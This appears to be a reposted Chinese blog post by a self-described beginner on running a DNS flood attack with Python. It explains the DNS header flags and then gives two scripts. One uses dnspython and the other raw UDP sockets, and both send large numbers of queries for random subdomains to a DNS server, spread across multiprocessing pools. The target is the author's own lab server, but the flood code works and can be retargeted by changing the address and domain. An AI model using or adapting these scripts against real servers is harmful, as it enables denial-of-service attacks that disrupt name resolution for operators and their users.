通过python的dnspython模块实现DNS流量攻击
Posted KaShing
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了通过python的dnspython模块实现DNS流量攻击相关的知识,希望对你有一定的参考价值。
一、
我是个菜B,慢慢摸索学习中。
安装模块 pip install dnspython
使用python调用dnspython模块,写了一个dns攻击的小程序,目标IP为自己搭建的DNS服务器,并且可以获取DNS的标志位返回值,其中还可以使用程序查看返回值,其实没卵用。
相关的DNS的报文格式大概如下:
(1)公共报文头格式其中header报文头是必须有的,其他的有没有在报文头里有定义:
标识ID: 请求客户端设置的16位标示,服务器给出应答的时候会带相同的标示字段回来,这样请求客户端就可以区分不同的请求应答了。
QR 1个比特位用来区分是请求(0)还是应答(1)。
OPCODE 4个比特位用来设置查询的种类,应答的时候会带相同值,可用的值如下:
0 标准查询 (QUERY)
1 反向查询 (IQUERY)
2 服务器状态查询 (STATUS)
3-15 保留值,暂时未使用
AA 授权应答(Authoritative Answer) - 这个比特位在应答的时候才有意义,指出给出应答的服务器是查询域名的授权解析服务器。
注意因为别名的存在,应答可能存在多个主域名,这个AA位对应请求名,或者应答中的第一个主域名。
TC 截断(TrunCation) - 用来指出报文比允许的长度还要长,导致被截断。
RD 期望递归(Recursion Desired) - 这个比特位被请求设置,应答的时候使用的相同的值返回。如果设置了RD,就建议域名服务器进行递归解析,递归查询的支持是可选的。
RA 支持递归(Recursion Available) - 这个比特位在应答中设置或取消,用来代表服务器是否支持递归查询。
Z 保留值,暂时未使用。在所有的请求和应答报文中必须置为0。
RCODE 应答码(Response code) - 这4个比特位在应答报文中设置,代表的含义如下:
0 没有错误。
1 报文格式错误(Format error) - 服务器不能理解请求的报文。
2 服务器失败(Server failure) - 因为服务器的原因导致没办法处理这个请求。
3 名字错误(Name Error) - 只有对授权域名解析服务器有意义,指出解析的域名不存在。
4 没有实现(Not Implemented) - 域名服务器不支持查询类型。
5 拒绝(Refused) - 服务器由于设置的策略拒绝给出应答。比如,服务器不希望对某些请求者给出应答,或者服务器不希望进行某些操作(比如区域传送zone transfer)。
6-15 保留值,暂时未使用。
问题数QDCOUNT 无符号16位整数表示报文请求段中的问题记录数。
资源记录数ANCOUNT 无符号16位整数表示报文回答段中的回答记录数。
授权资源记录数NSCOUNT 无符号16位整数表示报文授权段中的授权记录数。
额外资源记录数ARCOUNT 无符号16位整数表示报文附加段中的附加记录数。
说句实话,我这种菜B真的是看不懂这些。
下面是我的小代码,其实很简单的:相关dnspython模块可以参考https://www.cnblogs.com/nicholas-920610/articles/7149057.html
from dns import message,query import random import string import multiprocessing import threading def FlagCount(flags, pos): if int(flags/(2**pos))%2 == 1: return True else: return False def GetFlags(flags): QR_pos = 15 AA_pos = 10 TC_pos = 9 RD_pos = 8 RA_pos = 7 QR_flag = FlagCount(flags, QR_pos) AA_flag = FlagCount(flags, AA_pos) TC_flag = FlagCount(flags, TC_pos) RD_flag = FlagCount(flags, RD_pos) RA_flag = FlagCount(flags, RA_pos) flag_dic = {"QR":QR_flag, "AA":AA_flag, "TC":TC_flag, "RD":RD_flag, "RA":RA_flag} for flag,v in flag_dic.items(): print(flag,\':\',v) def attack(domain_name): server = \'192.168.32.128\' port = 53 dns_query = message.make_query(domain_name,\'A\') response = query.udp(dns_query,server,port) # print(response) def generate_random_name(): ch = list(string.ascii_lowercase) + list(map(str,range(10))) rand_ch = random.sample(ch,random.randint(3,10)) return \'\'.join(rand_ch) def start_attack(): domain_name = generate_random_name() + \'.hjc.com\' attack(domain_name) print(domain_name) if __name__ == \'__main__\': p = multiprocessing.Pool(processes=multiprocessing.cpu_count()) for _ in range(100000): p.apply_async(start_attack) p.close() p.join() # print(response) # for content in response.answer: # print(content.to_text()) # GetFlags(response.flags)
改进版本,利用socket发包,但是不知道为什么流量很低,有待研究:
# -*- utf-8 -*-
import socket
import random
import string
import multiprocessing
def generate_random_name():
ch = list(string.ascii_lowercase) + list(map(str,range(10)))
rand_ch = random.sample(ch,random.randint(3,10))
return \'\'.join(rand_ch)
def start_attack():
rand_name = generate_random_name()
len_rand_name = chr(len(rand_name))
identifier = chr(random.randint(1,255))
msg = bytes(map(ord, \'%s%s\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00%s%s\\x03hjc\\x03com\\x00\\x00\\x01\\x00\\x01\' % (identifier,identifier,
len_rand_name, rand_name)))
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setblocking(0)
sock.sendto(msg, (\'192.168.5.128\', 53))
if __name__ == \'__main__\':
p = multiprocessing.Pool(processes=multiprocessing.cpu_count())
for _ in range(100000):
p.apply_async(start_attack)
p.close()
p.join()
就是这个样子了,不成气候,不知道为啥流量上不来
组成的随机域名大致如下所示:
tozmgde7.hjc.com
u2js79.hjc.com
vru76f.hjc.com
9okeyptud.hjc.com
207lih.hjc.com
在我的DNS服务器192.168.5.128上开启了BIND服务,并打开了query_log日志,相关日志请求样子如下:
结合awk等命令统计了一下,一分钟的请求量,如图:
就是这样子了,自己玩一玩,没有实际测试过线上的攻击额,我要努力向单位和生活中的大神们学习啊。
以上是关于通过python的dnspython模块实现DNS流量攻击的主要内容,如果未能解决你的问题,请参考以下文章